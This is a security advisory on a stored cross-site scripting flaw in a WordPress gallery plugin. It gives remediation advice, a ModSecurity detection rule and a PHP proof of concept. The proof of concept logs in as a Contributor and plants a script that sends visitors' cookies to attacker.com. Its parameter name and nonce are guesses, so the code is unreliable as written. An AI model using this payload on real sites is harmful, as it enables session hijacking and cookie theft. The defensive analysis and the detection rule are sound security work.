Atomic Edge analysis of CVE-2026-4766 (metadata-based):
The Easy Image Gallery plugin for WordPress versions up to and including 1.5.3 contains an authenticated stored cross-site scripting vulnerability. The vulnerability exists in the gallery shortcode post meta field handling. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when users view pages containing the compromised gallery shortcode. The CVSS score of 6.4 reflects the combination of network accessibility, low attack complexity, and the requirement for authenticated access.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied gallery shortcode values. The CWE-79 classification confirms improper neutralization of input during web page generation. Without source code access, this conclusion is inferred from the vulnerability description and CWE classification. The plugin likely stores unsanitized shortcode parameters in post meta fields and fails to escape them during frontend rendering. WordPress plugins commonly use `update_post_meta()` without proper `sanitize_text_field()` or similar sanitization, then output values without `esc_html()` or `esc_attr()` functions.
Exploitation requires an authenticated attacker with Contributor privileges. The attacker creates or edits a post containing a gallery shortcode with malicious attributes. The payload would be embedded in shortcode parameters like `[easy_image_gallery attribute=”malicious_code()”]`. The exact parameter name is inferred from typical gallery shortcode implementations. The attacker saves the post, and the malicious script executes whenever any user views the compromised page. No direct endpoint is specified in the metadata, but the attack vector involves WordPress’s post editing interface and shortcode processing system.
Remediation requires implementing proper input sanitization before storing shortcode parameters and output escaping before rendering. The plugin should apply `sanitize_text_field()` or similar validation when processing shortcode attributes via `shortcode_atts()`. During output generation, the plugin must use appropriate escaping functions like `esc_html()` or `esc_attr()` depending on context. WordPress provides built-in sanitization and escaping functions specifically for this purpose.
Successful exploitation allows attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative actions performed by logged-in users, content defacement, or redirection to malicious sites. The stored nature means the payload persists across sessions and affects all users viewing the compromised page. While Contributor-level access is required, this privilege is commonly granted to untrusted users in multi-author WordPress sites.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4766 (metadata-based)
# This rule blocks exploitation attempts targeting the Easy Image Gallery plugin's
# shortcode processing via post creation/editing endpoints.
# The rule matches posts containing the [easy_image_gallery] shortcode with
# suspicious attribute values containing script tags or JavaScript URIs.
SecRule REQUEST_URI "@rx ^/wp-admin/(post.php|post-new.php)$"
"id:20264766,phase:2,deny,status:403,chain,msg:'CVE-2026-4766: Easy Image Gallery Stored XSS via Gallery Shortcode',severity:'CRITICAL',tag:'CVE-2026-4766',tag:'WordPress',tag:'Plugin/easy-image-gallery',tag:'attack/xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx \[easy_image_gallery[^\]]*?=.*?(<script|javascript:)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4766 - Easy Image Gallery <= 1.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gallery Shortcode Post Meta
<?php
/**
* Proof of Concept for CVE-2026-4766
* Assumptions based on metadata analysis:
* 1. Plugin uses WordPress shortcode system with [easy_image_gallery] tag
* 2. Shortcode accepts parameters stored as post meta
* 3. Parameters lack proper sanitization/escaping
* 4. Contributor+ users can create posts with shortcodes
*/
$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// XSS payload to steal admin cookies
$payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';
// Construct malicious shortcode - exact parameter name is inferred
$shortcode = '[easy_image_gallery gallery_id="1" custom_attribute="' . $payload . '"]';
// WordPress authentication
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt'
]);
$response = curl_exec($ch);
// Check authentication success by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$response = curl_exec($ch);
if (strpos($response, 'wp-content') === false) {
die('Authentication failed');
}
// Get nonce for post creation (simplified - real implementation would parse the page)
// This step assumes standard WordPress nonce structure
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wp_rest');
$response = curl_exec($ch);
// Create post with malicious shortcode
$post_data = [
'post_title' => 'Compromised Gallery Post',
'post_content' => $shortcode . 'nnThis post contains a malicious gallery shortcode.',
'post_status' => 'publish',
'_wpnonce' => 'inferred_nonce_value', // Would need actual nonce from page
'post_type' => 'post'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post.php',
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);
$response = curl_exec($ch);
// Extract post ID from response (simplified)
preg_match('/post=([0-9]+)/', $response, $matches);
$post_id = $matches[1] ?? 'unknown';
curl_close($ch);
if ($post_id !== 'unknown') {
echo "Exploit successful. Malicious post created at: " . $target_url . "/?p=" . $post_id . "n";
echo "Payload will execute when users view the page.n";
} else {
echo "Post creation may have failed. Manual verification required.n";
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
